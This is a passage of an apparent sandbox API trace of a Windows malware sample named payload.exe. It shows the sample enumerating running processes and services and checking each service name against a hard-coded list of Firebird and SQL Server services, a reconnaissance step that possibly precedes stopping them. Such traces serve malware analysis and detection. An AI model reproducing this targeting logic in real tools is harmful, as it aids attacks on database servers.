lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0152.837] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0152.837] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0152.837] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0152.837] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.838] lstrlenW (lpString="svchost.exe") returned 11 [0152.838] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0152.838] lstrlenW (lpString="dwm.exe") returned 7 [0152.838] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.839] lstrlenW (lpString="svchost.exe") returned 11 [0152.839] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.839] lstrlenW (lpString="svchost.exe") returned 11 [0152.840] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.840] lstrlenW (lpString="svchost.exe") returned 11 [0152.840] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.841] lstrlenW (lpString="svchost.exe") returned 11 [0152.841] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.841] lstrlenW (lpString="svchost.exe") returned 11 [0152.841] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.842] lstrlenW (lpString="svchost.exe") returned 11 [0152.842] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.842] lstrlenW (lpString="svchost.exe") returned 11 [0152.842] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.843] lstrlenW (lpString="svchost.exe") returned 11 [0152.843] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.844] lstrlenW (lpString="svchost.exe") returned 11 [0152.844] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.844] lstrlenW (lpString="svchost.exe") returned 11 [0152.844] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0152.845] lstrlenW (lpString="spoolsv.exe") returned 11 [0152.845] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.845] lstrlenW (lpString="svchost.exe") returned 11 [0152.845] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0152.846] lstrlenW (lpString="audiodg.exe") returned 11 [0152.846] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0152.846] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0152.847] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0152.847] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0152.847] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0152.848] lstrlenW (lpString="Memory Compression") returned 18 [0152.848] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0152.848] lstrlenW (lpString="sihost.exe") returned 10 [0152.848] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.849] lstrlenW (lpString="svchost.exe") returned 11 [0152.849] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0152.849] lstrlenW (lpString="taskhostw.exe") returned 13 [0152.849] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0152.850] lstrlenW (lpString="msoia.exe") returned 9 [0152.850] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0152.851] lstrlenW (lpString="explorer.exe") returned 12 [0152.851] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0152.851] lstrlenW (lpString="SearchUI.exe") returned 12 [0152.851] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0152.852] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0152.852] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0152.852] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0152.852] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0152.853] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0152.853] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0152.854] lstrlenW (lpString="payload.exe") returned 11 [0152.854] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0152.854] lstrlenW (lpString="cmd.exe") returned 7 [0152.854] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0152.855] lstrlenW (lpString="conhost.exe") returned 11 [0152.855] Process32NextW (in: hSnapshot=0x398, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0152.855] CloseHandle (hObject=0x398) returned 1 [0152.855] Sleep (dwMilliseconds=0x1f4) [0153.637] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69d920 [0153.638] EnumServicesStatusExW (in: hSCManager=0x69d920, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0153.638] GetLastError () returned 0xea [0153.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x4244998 [0153.639] EnumServicesStatusExW (in: hSCManager=0x69d920, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4244998, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4244998, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0153.639] CloseServiceHandle (hSCObject=0x69d920) returned 1 [0153.640] lstrlenW (lpString="Appinfo") returned 7 [0153.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0153.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0153.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0153.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0153.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0153.640] lstrlenW (lpString="AppXSvc") returned 7 [0153.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0153.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0153.640] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0153.640] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0153.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0153.640] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0153.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0153.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0153.640] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0153.640] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0153.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0153.640] lstrlenW (lpString="Audiosrv") returned 8 [0153.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0153.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0153.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0153.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0153.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0153.641] lstrlenW (lpString="BFE") returned 3 [0153.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0153.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0153.641] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0153.641] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0153.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0153.641] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0153.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0153.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0153.641] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0153.641] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0153.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0153.641] lstrlenW (lpString="CDPSvc") returned 6 [0153.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0153.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0153.641] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0153.641] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0153.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0153.641] lstrlenW (lpString="ClickToRunSvc") returned 13 [0153.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0153.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0153.641] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0153.641] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0153.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0153.641] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0153.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0153.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0153.641] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0153.641] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0153.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0153.641] lstrlenW (lpString="CryptSvc") returned 8 [0153.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0153.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0153.642] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0153.642] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0153.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0153.642] lstrlenW (lpString="DcomLaunch") returned 10 [0153.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0153.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0153.642] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0153.642] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0153.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0153.642] lstrlenW (lpString="DeviceAssociationService") returned 24 [0153.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0153.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0153.642] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0153.642] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0153.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0153.642] lstrlenW (lpString="Dhcp") returned 4 [0153.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0153.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0153.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0153.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0153.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0153.642] lstrlenW (lpString="Dnscache") returned 8 [0153.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0153.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0153.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0153.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0153.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0153.642] lstrlenW (lpString="DPS") returned 3 [0153.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0153.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0153.643] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0153.643] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0153.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0153.643] lstrlenW (lpString="DusmSvc") returned 7 [0153.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0153.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0153.643] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0153.643] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0153.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0153.643] lstrlenW (lpString="EventLog") returned 8 [0153.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0153.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0153.643] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0153.643] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0153.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0153.643] lstrlenW (lpString="EventSystem") returned 11 [0153.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0153.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0153.643] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0153.643] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0153.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0153.643] lstrlenW (lpString="FontCache") returned 9 [0153.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0153.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0153.643] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0153.643] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0153.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0153.643] lstrlenW (lpString="gpsvc") returned 5 [0153.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0153.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0153.643] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0153.643] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0153.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0153.643] lstrlenW (lpString="iphlpsvc") returned 8 [0153.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0153.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0153.644] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0153.644] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0153.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0153.644] lstrlenW (lpString="KeyIso") returned 6 [0153.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0153.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0153.644] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0153.644] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0153.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0153.644] lstrlenW (lpString="LanmanServer") returned 12 [0153.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0153.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0153.644] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0153.644] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0153.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0153.644] lstrlenW (lpString="LanmanWorkstation") returned 17 [0153.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0153.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0153.644] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0153.644] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0153.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0153.644] lstrlenW (lpString="lfsvc") returned 5 [0153.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0153.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0153.644] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0153.644] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0153.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0153.644] lstrlenW (lpString="lmhosts") returned 7 [0153.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0153.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0153.645] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0153.645] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0153.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0153.645] lstrlenW (lpString="LSM") returned 3 [0153.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0153.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0153.645] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0153.645] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0153.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0153.767] lstrlenW (lpString="MpsSvc") returned 6 [0153.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0153.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0153.767] lstrcmpiW (lpString1="sqlwriter", 